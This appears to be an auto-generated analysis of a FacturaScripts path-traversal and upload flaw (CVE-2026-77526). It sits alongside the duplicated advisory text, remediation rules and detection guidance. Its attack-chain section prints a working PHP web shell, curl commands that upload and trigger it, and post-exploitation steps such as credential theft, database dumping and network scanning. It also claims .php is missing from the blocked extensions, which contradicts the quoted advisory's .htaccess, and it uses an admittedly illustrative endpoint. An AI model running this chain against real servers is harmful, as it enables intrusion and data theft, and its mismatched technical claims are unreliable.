CVE-2026-77526 — CWE-22 · CWE-434
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3, FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location. Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution. This issue has been patched in version 2026.3.
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3, FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location. Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution. This issue has been patched in version 2026.3.
CVE‑2026‑77526 – FacturaScripts Core Arbitrary File Write → Remote Code Execution
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| Vulnerability type | Path‑traversal + unrestricted file upload (CWE‑22, CWE‑434) |
| Component | FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) |
| Affected range | FacturaScripts Core 2025.0 through 2026.2 (any version before 2026.3) |
| Authentication | Requires a valid, authenticated FacturaScripts user (PR = Low) |
| Privileges | The attacker runs with the same privileges as the web‑server user (typically www-data or apache). |
| Missing protection | 1. Path normalisation – the method simply concatenates $destiny (the intended upload directory, e.g. MyFiles/) with $destinyName (the client‑supplied filename).<br>2. Filename sanitisation – every call passes UploadedFile::getClientOriginalName(), which is the raw filename supplied by the client. No validation or stripping of ../ sequences, null‑bytes, or special characters is performed.<br>3. Rewrite‑exclusion misuse – the shipped Apache sample configuration (.htaccess‑sample) explicitly excludes Dinamic/Assets/ and node_modules/ from the front‑controller rewrite, meaning any file placed there is served directly by Apache. The default BLOCKED_EXTENSIONS list does not contain .php, so a PHP web‑shell placed in one of those directories can be executed via a normal HTTP request. |
Why the CVSS is 9.9 (Critical)
- AV:N – The attacker can reach the vulnerable endpoint over the network.
- AC:L – Exploitation requires only a single crafted request (low complexity).
- PR:L – The attacker must be an authenticated user, but the privilege level is low (any valid account).
- UI:N – No user interaction is required after the request is sent.
- S:C – The impact is changed (the vulnerability is in a shared component; successful exploitation affects the entire application).
- C:H / I:H / A:H – Successful exploitation yields complete compromise: the attacker can write arbitrary files, execute code, read/modify data, and cause denial‑of‑service.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; where the exact endpoint or parameter name is not disclosed in the public advisory, the example is marked as illustrative.
1. Discovery & Reconnaissance
| Action | How the attacker proceeds |
|---|---|
| Fingerprint the product | Scan the target web site for the string “FacturaScripts” in HTML comments, JavaScript files, or the default /favicon.ico. The presence of /index.php?controller=Home&action=login (or similar) is a strong indicator. |
| Determine version | Request /index.php?controller=Home&action=about (or view the composer.json if publicly accessible). The response contains a line such as FacturaScripts version 2026.1. |
| Confirm vulnerable range | Verify that the version is ≥ 2025.0 and < 2026.3. If the version is 2026.3 or later, the issue is patched. |
| Locate upload functionality | FacturaScripts provides a “My Files” (or “MyFiles”) UI that allows authenticated users to upload attachments. The upload form typically posts to index.php?controller=Upload&action=save. |
2. Exploitation
Goal: Write a PHP web‑shell into a directory that is served directly by Apache (e.g., Dinamic/Assets/).
2.1. Craft the malicious filename
The vulnerable method concatenates the destination path with the supplied filename without path‑normalisation. By embedding ../ sequences we can traverse out of the intended MyFiles/ directory.
../../Dinamic/Assets/shell.phpIf the upload directory is MyFiles/, the resulting path after concatenation becomes:
MyFiles/../../Dinamic/Assets/shell.php → Dinamic/Assets/shell.php2.2. Build a minimal PHP web‑shell
<?php
if (isset($_REQUEST['cmd'])) {
echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';
}
?>Save the above as shell.php.
2.3. Send the malicious request
Illustrative endpoint – the exact URL may differ per installation; the example uses the typical upload route.
curl -i -X POST "https://target.example.com/index.php?controller=Upload&action=save" \
-H "Cookie: PHPSESSID=abcdef1234567890" \
-F "[email protected];filename=../../Dinamic/Assets/shell.php" \
-F "destiny=MyFiles"Explanation of parameters
| Parameter | Reason |
|---|---|
file (multipart) | The uploaded file; the filename attribute is forced to the traversal payload. |
destiny | The destination directory expected by the backend (MyFiles). |
Cookie | A valid session cookie for an authenticated user (any role that can upload files). |
If the upload succeeds, the server response will contain a success message (e.g., “File uploaded successfully”). The file now resides at Dinamic/Assets/shell.php on the server’s filesystem.
2.4. Trigger the web‑shell
Because Dinamic/Assets/ is excluded from the front‑controller rewrite, the file is reachable directly:
curl "https://target.example.com/Dinamic/Assets/shell.php?cmd=id"A successful response will display the output of id, confirming remote code execution under the web‑server user.
3. Post‑exploitation
| Step | What the attacker does |
|---|---|
| Persist web‑shell | Copy the shell to additional writable locations (e.g., node_modules/, public/) to survive potential file‑cleanup. |
| Privilege escalation | If the web‑server runs as a low‑privileged user, the attacker can attempt local privilege escalation (e.g., exploiting kernel CVEs) or pivot to the database using the same credentials used by the application. |
| Data exfiltration | Use the shell to read configuration files (config.php, .env) containing database credentials, then dump the FacturaScripts database (mysqldump). |
| Defacement / ransomware | Overwrite public assets (CSS, JS) or inject malicious JavaScript to serve drive‑by attacks. |
| Lateral movement | Use the compromised host as a foothold to scan the internal network (e.g., nmap -sS 10.0.0.0/24). |
🌍 Real‑World Impact
| CIA Triad | Impact |
|---|---|
| Confidentiality (C:H) | The attacker can read any file readable by the web‑server user, including configuration files, database backups, and potentially other tenants’ data if multi‑tenant. |
| Integrity (I:H) | Arbitrary file write enables tampering with application code, injection of malicious scripts, or modification of accounting records. |
| Availability (A:H) | By writing a large file or a malicious .htaccess that disables the site, the attacker can cause a full denial of service. |
Business consequences
🛡️ Remediation & Mitigation
1. Patch
| Action | Details |
|---|---|
| Upgrade | Move to FacturaScripts Core 2026.3 or any later release. The patch adds proper path normalisation (realpath) and rejects filenames containing directory‑traversal sequences. |
| Version check | Verify the installed version via composer.lock or the “About” page after upgrade. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | Implementation | |||
|---|---|---|---|---|
| Reject dangerous filenames | Add server‑side validation before calling move(). Example (PHP):<br><br>``php\nif (preg_match('#\.\./ | \\0 | / | \\\\#', $destinyName)) {\n http_response_code(400);\n exit('Invalid filename');\n}\n` |
| Restrict upload directories | Configure the web server to deny execution of PHP files inside Dinamic/Assets/ and node_modules/. Example Apache <Directory> directive:<br><br>`apacheconf\n<Directory /var/www/html/Dinamic/Assets>\n php_admin_flag engine off\n Options -ExecCGI\n AllowOverride None\n</Directory>\n` | |||
Modify .htaccess‑sample | Remove the Dinamic/Assets/ and node_modules/ exclusions from the rewrite rule, forcing all requests through index.php. | |||
| WAF / ModSecurity rule | Deploy a rule that blocks path‑traversal in uploaded filenames and disallows uploads of files with executable extensions to any directory outside the designated upload folder. Example ModSecurity rule (valid syntax):<br><br>`modsecurity\nSecRule REQUEST_HEADERS:Content-Type "multipart/form-data" "id:'950001',phase:2,log,deny,status:403,msg:'Block traversal in uploaded filename',\n chain"\nSecRule FILES_NAMES "@rx \.\./" "t:none"\n` | |||
| File‑system permissions | Ensure the web‑server user can write only to the intended upload directory (MyFiles/). Use ACLs or chmod 750` on other directories. | |||
| Disable unused upload features | If the “My Files” module is not required, disable it in the application configuration or remove the controller routes. |
3. Detection – Indicators of Compromise
| Log source | What to look for |
|---|---|
Web‑server access log (Apache access_log) | Requests with filename= containing ../ or %2e%2e%2f (URL‑encoded traversal). Example entry:<br>POST /index.php?controller=Upload&action=save HTTP/1.1" 200 123 "…"<br>Followed by filename=..%2F..%2FDinamic%2FAssets%2Fshell.php. |
| Web‑server error log | “File does not exist: …/Dinamic/Assets/shell.php” followed shortly by a 200 response for that path, indicating the file was created and then accessed. |
Application log (storage/logs/*.log) | Entries from UploadedFile::move showing the raw $destinyName value. |
File‑system monitoring (e.g., inotify, auditd) | Creation of new .php files under Dinamic/Assets/ or node_modules/ by the www-data user. |
| ModSecurity alerts | Triggered rule 950001 (if deployed) with the message “Block traversal in uploaded filename”. |
Response actions
1. Immediately block the offending IP address (if source is identifiable).
2. Quarantine the compromised host, remove any newly created PHP files, and rotate all application credentials.
3. Conduct a full forensic review of the database for tampered invoices.
⚠️ Urgency
Bottom line: CVE‑2026‑77526 is a classic path‑traversal + unrestricted upload chain that lets an authenticated attacker write arbitrary PHP files to a web‑accessible directory, leading to remote code execution. The fix is straightforward (upgrade to 2026.3) and the interim mitigations are well‑defined. Prompt remediation is essential to protect financial data and maintain service availability.
[🤖 CVE Professor AI Security Engine]
FOFA Query